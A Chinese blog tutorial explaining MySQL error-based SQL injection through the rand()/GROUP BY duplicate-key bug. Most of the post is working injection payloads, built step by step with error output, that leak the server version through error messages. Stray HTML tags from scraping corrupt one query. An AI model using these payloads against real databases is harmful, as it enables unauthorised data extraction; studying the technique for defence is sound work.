服务器 > 网络安全 > 脚本攻防

网站MYSQL数据库高级爆错注入原分析

64人参与 2016-08-24 脚本攻防

这里主要用了mysql的一个bug :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

于是便可以这样拿来爆错注入了。
 

复制代码
代码如下:

select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

尝试拿来实战
 

复制代码
代码如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下


复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

 

复制代码
代码如下:

1248 (42000): every derived table must have its own alias

提示多表查询要有别名 那好办
 

复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者
 

复制代码
代码如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小残 绳命不息 |折腾不止

(0)
打赏 微信扫一扫 微信扫一扫

您想发表意见!!点此发布评论

推荐阅读

详解如何通过“鼠洞”控制电脑

09-01

网站个人渗透技巧收集与总结

08-24

浅谈史上最大DDoS攻击的本质与防范

09-20

中国南海和东南亚问题相关的网络攻击组织 捕获Patchwork APT攻击

07-13

使用爬虫采集网站时,解决被封IP的几种方法

10-08

劫持流量原理是什么?关于劫持流量的种类和产生

05-25

猜你喜欢

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论